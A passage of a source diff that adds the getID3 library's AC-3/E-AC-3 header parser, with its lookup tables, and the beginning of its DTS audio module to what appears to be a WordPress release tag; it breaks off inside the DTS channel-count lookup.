+							$thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) {
+								$thisfile_ac3_raw_bsi['extpgmlfescl']  =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
+							$thisfile_ac3_raw_bsi['flags']['dmixscl']      = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) {
+								$thisfile_ac3_raw_bsi['dmixscl']       =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
+							$thisfile_ac3_raw_bsi['flags']['addch']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['addch']) {
+								$thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) {
+									$thisfile_ac3_raw_bsi['extpgmaux1scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+								}
+								$thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) {
+									$thisfile_ac3_raw_bsi['extpgmaux2scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+								}
+							}
+						}
+						$thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+						if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) {
+							$thisfile_ac3_raw_bsi['spchdat']   =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
+							$thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) {
+								$thisfile_ac3_raw_bsi['spchdat1']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
+								$thisfile_ac3_raw_bsi['spchan1att'] =         $this->readHeaderBSI(2); $mixdefbitsread += 2;
+								$thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+								if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) {
+									$thisfile_ac3_raw_bsi['spchdat2']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
+									$thisfile_ac3_raw_bsi['spchan2att'] =         $this->readHeaderBSI(3); $mixdefbitsread += 3;
+								}
+							}
+						}
+						$mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread;
+						$mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0);
+						$thisfile_ac3_raw_bsi['mixdata']     =        $this->readHeaderBSI($mixdata_bits);
+						$thisfile_ac3_raw_bsi['mixdatafill'] =        $this->readHeaderBSI($mixdata_fill);
+						unset($mixdefbitsread, $mixdata_bits, $mixdata_fill);
+					}
+					if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source
+						$thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1);
+						if ($thisfile_ac3_raw_bsi['flags']['paninfo']) {
+							$thisfile_ac3_raw_bsi['panmean']   =        $this->readHeaderBSI(8);
+							$thisfile_ac3_raw_bsi['paninfo']   =        $this->readHeaderBSI(6);
+						}
+						if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
+							$thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1);
+							if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) {
+								$thisfile_ac3_raw_bsi['panmean2']   =        $this->readHeaderBSI(8);
+								$thisfile_ac3_raw_bsi['paninfo2']   =        $this->readHeaderBSI(6);
+							}
+						}
+					}
+					$thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1);
+					if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information
+						if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) {
+							$thisfile_ac3_raw_bsi['blkmixcfginfo'][0]  =        $this->readHeaderBSI(5);
+						} else {
+							for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) {
+								$thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1);
+								if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information
+									$thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk]  =        $this->readHeaderBSI(5);
+								}
+							}
+						}
+					}
+				}
+			}
+			$thisfile_ac3_raw_bsi['flags']['infomdat']          = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata
+				$thisfile_ac3_raw_bsi['bsmod']                  =        $this->readHeaderBSI(3);
+				$thisfile_ac3_raw_bsi['flags']['copyrightb']    = (bool) $this->readHeaderBSI(1);
+				$thisfile_ac3_raw_bsi['flags']['origbs']        = (bool) $this->readHeaderBSI(1);
+				if ($thisfile_ac3_raw_bsi['acmod'] == 2) { //  if in 2/0 mode
+					$thisfile_ac3_raw_bsi['dsurmod']            =        $this->readHeaderBSI(2);
+					$thisfile_ac3_raw_bsi['dheadphonmod']       =        $this->readHeaderBSI(2);
+				}
+				if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { //  if both surround channels exist
+					$thisfile_ac3_raw_bsi['dsurexmod']          =        $this->readHeaderBSI(2);
+				}
+				$thisfile_ac3_raw_bsi['flags']['audprodi']      = (bool) $this->readHeaderBSI(1);
+				if ($thisfile_ac3_raw_bsi['flags']['audprodi']) {
+					$thisfile_ac3_raw_bsi['mixlevel']           =        $this->readHeaderBSI(5);
+					$thisfile_ac3_raw_bsi['roomtyp']            =        $this->readHeaderBSI(2);
+					$thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1);
+				}
+				if ($thisfile_ac3_raw_bsi['acmod'] == 0) { //  if 1+1 mode (dual mono, so some items need a second value)
+					$thisfile_ac3_raw_bsi['flags']['audprodi2']      = (bool) $this->readHeaderBSI(1);
+					if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) {
+						$thisfile_ac3_raw_bsi['mixlevel2']           =        $this->readHeaderBSI(5);
+						$thisfile_ac3_raw_bsi['roomtyp2']            =        $this->readHeaderBSI(2);
+						$thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1);
+					}
+				}
+				if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate
+					$thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1);
+				}
+			}
+			if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { //  if both surround channels exist
+				$thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1);
+			}
+			if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { //  if bit stream converted from AC-3
+				if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe
+					$thisfile_ac3_raw_bsi['flags']['blkid']  = 1;
+				} else {
+					$thisfile_ac3_raw_bsi['flags']['blkid']  = (bool) $this->readHeaderBSI(1);
+				}
+				if ($thisfile_ac3_raw_bsi['flags']['blkid']) {
+					$thisfile_ac3_raw_bsi['frmsizecod']  =        $this->readHeaderBSI(6);
+				}
+			}
+			$thisfile_ac3_raw_bsi['flags']['addbsi']  = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
+				$thisfile_ac3_raw_bsi['addbsil']  =        $this->readHeaderBSI(6);
+				$thisfile_ac3_raw_bsi['addbsi']   =        $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8);
+			}
+
+		} else {
+
+			$this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.');
+		    unset($info['ac3']);
+			return false;
+
+		}
+
+		if (isset($thisfile_ac3_raw_bsi['fscod2'])) {
+			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']);
+		} else {
+			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']);
+		}
+		if ($thisfile_ac3_raw_bsi['fscod'] <= 3) {
+			$info['audio']['sample_rate'] = $thisfile_ac3['sample_rate'];
+		} else {
+			$this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']);
+		}
+		if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) {
+			$thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']);
+			$thisfile_ac3['bitrate']      = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']);
+		} elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) {
+// this isn't right, but it's (usually) close, roughly 5% less than it should be.
+// but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know!
+			$thisfile_ac3['bitrate']      = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048.
+// kludge-fix to make it approximately the expected value, still not "right":
+$thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000;
+		}
+		$info['audio']['bitrate'] = $thisfile_ac3['bitrate'];
+
+		$thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']);
+		$ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']);
+		foreach($ac3_coding_mode as $key => $value) {
+			$thisfile_ac3[$key] = $value;
+		}
+		switch ($thisfile_ac3_raw_bsi['acmod']) {
+			case 0:
+			case 1:
+				$info['audio']['channelmode'] = 'mono';
+				break;
+			case 3:
+			case 4:
+				$info['audio']['channelmode'] = 'stereo';
+				break;
+			default:
+				$info['audio']['channelmode'] = 'surround';
+				break;
+		}
+		$info['audio']['channels'] = $thisfile_ac3['num_channels'];
+
+		$thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon'];
+		if ($thisfile_ac3_raw_bsi['flags']['lfeon']) {
+			$info['audio']['channels'] .= '.1';
+		}
+
+		$thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']);
+		$thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB';
+
+		return true;
+	}
+
+	private function readHeaderBSI($length) {
+		$data = substr($this->AC3header['bsi'], $this->BSIoffset, $length);
+		$this->BSIoffset += $length;
+
+		return bindec($data);
+	}
+
+	public static function sampleRateCodeLookup($fscod) {
+		static $sampleRateCodeLookup = array(
+			0 => 48000,
+			1 => 44100,
+			2 => 32000,
+			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
+		);
+		return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false);
+	}
+
+	public static function sampleRateCodeLookup2($fscod2) {
+		static $sampleRateCodeLookup2 = array(
+			0 => 24000,
+			1 => 22050,
+			2 => 16000,
+			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
+		);
+		return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false);
+	}
+
+	public static function serviceTypeLookup($bsmod, $acmod) {
+		static $serviceTypeLookup = array();
+		if (empty($serviceTypeLookup)) {
+			for ($i = 0; $i <= 7; $i++) {
+				$serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)';
+				$serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)';
+				$serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)';
+				$serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)';
+				$serviceTypeLookup[4][$i] = 'associated service: dialogue (D)';
+				$serviceTypeLookup[5][$i] = 'associated service: commentary (C)';
+				$serviceTypeLookup[6][$i] = 'associated service: emergency (E)';
+			}
+
+			$serviceTypeLookup[7][1]      = 'associated service: voice over (VO)';
+			for ($i = 2; $i <= 7; $i++) {
+				$serviceTypeLookup[7][$i] = 'main audio service: karaoke';
+			}
+		}
+		return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false);
+	}
+
+	public static function audioCodingModeLookup($acmod) {
+		// array(channel configuration, # channels (not incl LFE), channel order)
+		static $audioCodingModeLookup = array (
+			0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'),
+			1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'),
+			2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'),
+			3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'),
+			4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'),
+			5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'),
+			6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'),
+			7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'),
+		);
+		return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false);
+	}
+
+	public static function centerMixLevelLookup($cmixlev) {
+		static $centerMixLevelLookup;
+		if (empty($centerMixLevelLookup)) {
+			$centerMixLevelLookup = array(
+				0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB)
+				1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB)
+				2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB)
+				3 => 'reserved'
+			);
+		}
+		return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false);
+	}
+
+	public static function surroundMixLevelLookup($surmixlev) {
+		static $surroundMixLevelLookup;
+		if (empty($surroundMixLevelLookup)) {
+			$surroundMixLevelLookup = array(
+				0 => pow(2, -3.0 / 6),
+				1 => pow(2, -6.0 / 6),
+				2 => 0,
+				3 => 'reserved'
+			);
+		}
+		return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false);
+	}
+
+	public static function dolbySurroundModeLookup($dsurmod) {
+		static $dolbySurroundModeLookup = array(
+			0 => 'not indicated',
+			1 => 'Not Dolby Surround encoded',
+			2 => 'Dolby Surround encoded',
+			3 => 'reserved'
+		);
+		return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false);
+	}
+
+	public static function channelsEnabledLookup($acmod, $lfeon) {
+		$lookup = array(
+			'ch1'=>(bool) ($acmod == 0),
+			'ch2'=>(bool) ($acmod == 0),
+			'left'=>(bool) ($acmod > 1),
+			'right'=>(bool) ($acmod > 1),
+			'center'=>(bool) ($acmod & 0x01),
+			'surround_mono'=>false,
+			'surround_left'=>false,
+			'surround_right'=>false,
+			'lfe'=>$lfeon);
+		switch ($acmod) {
+			case 4:
+			case 5:
+				$lookup['surround_mono']  = true;
+				break;
+			case 6:
+			case 7:
+				$lookup['surround_left']  = true;
+				$lookup['surround_right'] = true;
+				break;
+		}
+		return $lookup;
+	}
+
+	public static function heavyCompression($compre) {
+		// The first four bits indicate gain changes in 6.02dB increments which can be
+		// implemented with an arithmetic shift operation. The following four bits
+		// indicate linear gain changes, and require a 5-bit multiply.
+		// We will represent the two 4-bit fields of compr as follows:
+		//   X0 X1 X2 X3 . Y4 Y5 Y6 Y7
+		// The meaning of the X values is most simply described by considering X to represent a 4-bit
+		// signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The
+		// following table shows this in detail.
+
+		// Meaning of 4 msb of compr
+		//  7    +48.16 dB
+		//  6    +42.14 dB
+		//  5    +36.12 dB
+		//  4    +30.10 dB
+		//  3    +24.08 dB
+		//  2    +18.06 dB
+		//  1    +12.04 dB
+		//  0     +6.02 dB
+		// -1         0 dB
+		// -2     -6.02 dB
+		// -3    -12.04 dB
+		// -4    -18.06 dB
+		// -5    -24.08 dB
+		// -6    -30.10 dB
+		// -7    -36.12 dB
+		// -8    -42.14 dB
+
+		$fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT);
+		if ($fourbit{0} == '1') {
+			$log_gain = -8 + bindec(substr($fourbit, 1));
+		} else {
+			$log_gain = bindec(substr($fourbit, 1));
+		}
+		$log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2);
+
+		// The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to
+		// be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can
+		// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
+		// changes from -0.28 dB to -6.02 dB.
+
+		$lin_gain = (16 + ($compre & 0x0F)) / 32;
+
+		// The combination of X and Y values allows compr to indicate gain changes from
+		//  48.16 - 0.28 = +47.89 dB, to
+		// -42.14 - 6.02 = -48.16 dB.
+
+		return $log_gain - $lin_gain;
+	}
+
+	public static function roomTypeLookup($roomtyp) {
+		static $roomTypeLookup = array(
+			0 => 'not indicated',
+			1 => 'large room, X curve monitor',
+			2 => 'small room, flat monitor',
+			3 => 'reserved'
+		);
+		return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false);
+	}
+
+	public static function frameSizeLookup($frmsizecod, $fscod) {
+		// LSB is whether padding is used or not
+		$padding     = (bool) ($frmsizecod & 0x01);
+		$framesizeid =        ($frmsizecod & 0x3E) >> 1;
+
+		static $frameSizeLookup = array();
+		if (empty($frameSizeLookup)) {
+			$frameSizeLookup = array (
+				0  => array( 128,  138,  192),  //  32 kbps
+				1  => array( 160,  174,  240),  //  40 kbps
+				2  => array( 192,  208,  288),  //  48 kbps
+				3  => array( 224,  242,  336),  //  56 kbps
+				4  => array( 256,  278,  384),  //  64 kbps
+				5  => array( 320,  348,  480),  //  80 kbps
+				6  => array( 384,  416,  576),  //  96 kbps
+				7  => array( 448,  486,  672),  // 112 kbps
+				8  => array( 512,  556,  768),  // 128 kbps
+				9  => array( 640,  696,  960),  // 160 kbps
+				10 => array( 768,  834, 1152),  // 192 kbps
+				11 => array( 896,  974, 1344),  // 224 kbps
+				12 => array(1024, 1114, 1536),  // 256 kbps
+				13 => array(1280, 1392, 1920),  // 320 kbps
+				14 => array(1536, 1670, 2304),  // 384 kbps
+				15 => array(1792, 1950, 2688),  // 448 kbps
+				16 => array(2048, 2228, 3072),  // 512 kbps
+				17 => array(2304, 2506, 3456),  // 576 kbps
+				18 => array(2560, 2786, 3840)   // 640 kbps
+			);
+		}
+		if (($fscod == 1) && $padding) {
+			// frame lengths are padded by 1 word (16 bits) at 44100
+			$frameSizeLookup[$frmsizecod] += 2;
+		}
+		return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] : false);
+	}
+
+	public static function bitrateLookup($frmsizecod) {
+		// LSB is whether padding is used or not
+		$padding     = (bool) ($frmsizecod & 0x01);
+		$framesizeid =        ($frmsizecod & 0x3E) >> 1;
+
+		static $bitrateLookup = array(
+			 0 =>  32000,
+			 1 =>  40000,
+			 2 =>  48000,
+			 3 =>  56000,
+			 4 =>  64000,
+			 5 =>  80000,
+			 6 =>  96000,
+			 7 => 112000,
+			 8 => 128000,
+			 9 => 160000,
+			10 => 192000,
+			11 => 224000,
+			12 => 256000,
+			13 => 320000,
+			14 => 384000,
+			15 => 448000,
+			16 => 512000,
+			17 => 576000,
+			18 => 640000,
+		);
+		return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false);
+	}
+
+	public static function blocksPerSyncFrame($numblkscod) {
+		static $blocksPerSyncFrameLookup = array(
+			0 => 1,
+			1 => 2,
+			2 => 3,
+			3 => 6,
+		);
+		return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false);
+	}
+
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio.dts.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio.dts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio.dts.php	(revision 56912)
@@ -0,0 +1,291 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.dts.php                                        //
+// module for analyzing DTS Audio files                        //
+// dependencies: NONE                                          //
+//                                                             //
+/////////////////////////////////////////////////////////////////
+
+
+/**
+* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
+*/
+class getid3_dts extends getid3_handler
+{
+	/**
+	* Default DTS syncword used in native .cpt or .dts formats
+	*/
+    const syncword = "\x7F\xFE\x80\x01";
+
+	private $readBinDataOffset = 0;
+
+    /**
+    * Possible syncwords indicating bitstream encoding
+    */
+    public static $syncwords = array(
+    	0 => "\x7F\xFE\x80\x01",  // raw big-endian
+    	1 => "\xFE\x7F\x01\x80",  // raw little-endian
+    	2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
+    	3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+		$info['fileformat'] = 'dts';
+
+		$this->fseek($info['avdataoffset']);
+		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes
+
+		// check syncword
+		$sync = substr($DTSheader, 0, 4);
+        if (($encoding = array_search($sync, self::$syncwords)) !== false) {
+
+        	$info['dts']['raw']['magic'] = $sync;
+			$this->readBinDataOffset = 32;
+
+        } elseif ($this->isDependencyFor('matroska')) {
+
+			// Matroska contains DTS without syncword encoded as raw big-endian format
+			$encoding = 0;
+			$this->readBinDataOffset = 0;
+
+        } else {
+
+			unset($info['fileformat']);
+			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');
+
+		}
+
+		// decode header
+		$fhBS = '';
+		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
+			switch ($encoding) {
+				case 0: // raw big-endian
+					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
+					break;
+				case 1: // raw little-endian
+					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
+					break;
+				case 2: // 14-bit big-endian
+					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
+					break;
+				case 3: // 14-bit little-endian
+					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
+					break;
+			}
+		}
+
+		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
+		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
+		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
+		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
+		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
+		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
+		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
+		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
+		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
+		if ($info['dts']['flags']['crc_present']) {
+			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
+		}
+		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
+		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
+		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
+		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);
+
+
+		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
+		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
+		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
+		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
+		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
+		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
+		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
+		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);
+
+		$info['audio']['dataformat']          = 'dts';
+		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
+		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
+		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
+		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
+		$info['audio']['channels']            = $info['dts']['channels'];
+		$info['audio']['bitrate']             = $info['dts']['bitrate'];
+		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
+			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
+			if (($encoding == 2) || ($encoding == 3)) {
+				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
+				$info['playtime_seconds'] *= (14 / 16);
+			}
+		}
+		return true;
+	}
+
+	private function readBinData($bin, $length) {
+		$data = substr($bin, $this->readBinDataOffset, $length);
+		$this->readBinDataOffset += $length;
+
+		return bindec($data);
+	}
+
+	public static function bitrateLookup($index) {
+		static $lookup = array(
+			0  => 32000,
+			1  => 56000,
+			2  => 64000,
+			3  => 96000,
+			4  => 112000,
+			5  => 128000,
+			6  => 192000,
+			7  => 224000,
+			8  => 256000,
+			9  => 320000,
+			10 => 384000,
+			11 => 448000,
+			12 => 512000,
+			13 => 576000,
+			14 => 640000,
+			15 => 768000,
+			16 => 960000,
+			17 => 1024000,
+			18 => 1152000,
+			19 => 1280000,
+			20 => 1344000,
+			21 => 1408000,
+			22 => 1411200,
+			23 => 1472000,
+			24 => 1536000,
+			25 => 1920000,
+			26 => 2048000,
+			27 => 3072000,
+			28 => 3840000,
+			29 => 'open',
+			30 => 'variable',
+			31 => 'lossless',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function sampleRateLookup($index) {
+		static $lookup = array(
+			0  => 'invalid',
+			1  => 8000,
+			2  => 16000,
+			3  => 32000,
+			4  => 'invalid',
+			5  => 'invalid',
+			6  => 11025,
+			7  => 22050,
+			8  => 44100,
+			9  => 'invalid',
+			10 => 'invalid',
+			11 => 12000,
+			12 => 24000,
+			13 => 48000,
+			14 => 'invalid',
+			15 => 'invalid',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function bitPerSampleLookup($index) {
+		static $lookup = array(
+			0  => 16,
+			1  => 20,
+			2  => 24,
+			3  => 24,
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function numChannelsLookup($index) {
+		switch ($index) {
+			case 0:
+				return 1;
+				break;
